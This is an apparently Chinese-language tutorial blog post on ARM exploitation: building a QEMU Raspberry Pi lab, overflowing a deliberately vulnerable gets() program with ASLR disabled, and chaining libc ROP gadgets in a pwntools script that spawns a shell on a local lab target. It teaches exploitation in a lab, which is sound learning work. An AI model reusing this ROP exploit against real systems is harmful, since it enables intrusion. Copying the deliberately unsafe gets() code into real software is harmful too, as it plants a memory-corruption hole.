作者:thor

目前市面上的android手机大多都是基于arm cpu,在嵌入式设备领域arm cpu更是处于统治地位,因此在移动安全领域有必要熟悉下arm的exploition。本文记录了arm下栈溢出到ROP利用的调试过程,供入门参考。

0x00 qemu arm虚拟环境搭建

要调试arm程序,首先你要有arm的机器。虽然android手机大部分是arm cpu,但是由于android系统和linux系统的库和工具还是有很多不同,使用很不方便,最好还是有arm + linux的环境,raspberry pi 便是不错的选择。这里我们使用开源硬件模拟器QEMU+raspberry pi的image来搭建arm + linux的环境。搭建环境需要准备以下软件及工具:

1. ubuntu 16.02 32位系统
2. QEMU emulator version 2.5.0
3. raspberry pi image:2014-06-20-wheezy-raspbian.img
4. qemu kernel : qemu_kernel_3.2.27_with_CIFS

首先安装qemu:

apt-get install qemu-system qemu-user-static binfmt-support

安装好后,将raspberry pi image和qemu kernel放到同一目录下,运行如下命令启动虚拟机修改一些配置文件:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

接下来需要修改一些配置文件,首先执行

vi /etc/ld.so.preload

将/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so注释掉:

#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

然后新建/etc/udev/rules.d/90-qemu.rules文件,并加入如下内容:

KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n"
KERNEL=="sda2", SYMLINK+="root"

配置好后退出并关闭虚拟机。raspberry pi image自带的磁盘空间很小,通过如下命令扩展:

qemu-img resize 2014-06-20-wheezy-raspbian.img +8G

现在可以用如下命令真正启动进入虚拟机了:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

通过用户名pi及密码raspberry进入系统:

刚才用qemu-img扩展了image,进入系统后还需要通过如下命令扩展文件系统:

sudo ln -snf mmcblk0p2 /dev/root
sudo raspi-config

最后,配置好的系统如图所示:

配置好系统后就可以进入系统安装软件、配置调试环境了。为了调试方便,需要通过ssh访问系统,但是qemu配置host与guest直接网络互通比较麻烦,因此使用qemu端口转发的方式比较方便,而host与guest文件共享则使用qemu自带的samba服务,最终qemu启动命令如下:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw " -hda 2014-06-20-wheezy-raspbian.img -redir tcp:5022::22 -redir tcp:6666::6666 -smb /root/Desktop

通过redir参数,我们将raspberry的22端口映射到host的5022端口,那么主机ubuntu可通过如下命令访问raspberry:

ssh -p 5022 pi@127.0.0.1

同时,我们将raspberry的6666端口映射到本地的6666端口,方便利用socat调试远程溢出。qemu的smb参数指定主机的目录为samba目录,在raspberry guest中可以通过\10.0.2.4\qemu访问,10.0.2.4是qemu规定的samba共享地址。在raspberry中可通过如下命令挂载samba共享:

sudo mount -t cifs //10.0.2.4/qemu /mnt/Host

挂载好后在raspberry中可直接通过/mnt/Host访问主机的共享目录。系统环境准备好后就是安装调试环境,主要用到了gdb插件gef、checksec.sh、pattern.py、Ropgadget、pwntools等。这些工具都可以通过apt-get和pip安装,十分方便。

0x01 arm下的栈溢出ROP

搭建好arm的环境后,我们先通过一个简单的栈溢出来练练手,同时先关闭ASLR:

sudo echo 0 > /proc/sys/kernel/randomize_va_space

编写一个简单的栈溢出程序stack.c:

#include <stdio.h>

int main(int argc, char **argv) {

char buffer[64];

gets(buffer);

return 0;

}

通过gcc编译得到可执行程序:

gcc -o stack stack.c

程序非常简单,gets函数存在栈溢出,接下来我们调试程序寻找溢出点:

使用checksec查看使用了哪些安全机制:

使用了DEP,没有栈保护及PIE,由于我们先关闭了ASLR,因此这里主要是绕过DEP机制,可以使用ret2libc或ROP,这里我们使用ROP。
为了准确找出溢出点,我们使用pattern.py首先生成150字符,并输入:

可以看到PC值为0x33634132,通过pattern.py确定溢出点为68:

接下来我们需要构造ROP chain.我们溢出的目的是执行libc中的system函数,执行system(“/bin/sh”)获取到shell。由于arm中函数参数是通过寄存器传递而不是栈,因此我们至少需要一个gadget:设置寄存器r0为”/bin/sh”。
stack程序本身代码较少,因此我们在libc中寻找,我们使用ROPgadget来寻找:

ROPgadget --binary libc-2.13.so --only "pop" | grep r0

只找到一个:

0x0007908c : pop {r0, r4, pc}

这个gadget刚好满足我们的需求:控制r0及pc.但是在这里却出现了一个大问题:坏字符。我们先找到libc加载的基址0x40034000:

计算得到gadget1的内存地址:0x400ad08c

该地址有一坏字符0a,即换行符’\n’。gets函数在遇到换行符就结束了,payload就没法正常发送。因此 pop {r0, r4, pc}这个gadget没法用。我们只有找mov r0,rn类似的gadget来曲线救国:

ROPgadget --binary libc-2.13.so --only "mov|pop" | grep r0

找到一大堆gadget,我们选取如下:

0x000e2010 : mov r0, r1 ; pop {r4, pc}

这里通过寄存器r1中转,因此还要找一个控制r1的gadget:

0x00102ae4 pop {r1,pc}

最后我们的ROP chain为:

1\. gadget1: 0x00102ae4 : pop {r1,pc} 
2\. gadget2: 0x000e2010 : mov r0, r1 ; pop {r4, pc}
3\. ret2libc调用system函数

exploit中我们还需要知道system函数的地址及/bin/sh的地址:

最后我们的exploit脚本如下:

from pwn import *

p = remote('127.0.0.1',6666)

#gadget1: 0x00102ae4 pop {r1,pc}

#gadget2: 0x000e2010 mov {r0,r1}; pop {r4,pc}

libc_base = 0x40034000

gadget1 = libc_base + 0x00102ae4
gadget2 = libc_base + 0x000e2010

bin_sh_addr_in_libc = 0x40149e6c

system = 0x4006ebd8

r4 = 'BBBB'

payload = 'A'*68 + p32(gadget1) + p32(bin_sh_addr_in_libc) + p32(gadget2) + r4 + p32(system) 

p.send(payload)

p.interactive()

最后测试溢出效果,在raspberry pi 虚拟机中执行socat:

在主机端远程溢出成功,获取到shell:

0x02 总结

本文记录了在qemu raspberry pi虚拟环境下调试arm栈溢出及ROP的过程,栈溢出的可执行程序很简单,主要是调试rop的过程中遇到坏字符的问题调试了很久,PC莫名其妙跑飞,最后才找到原因及解决办法。后续将继续调试arm下绕过ASLR及堆溢出的练习。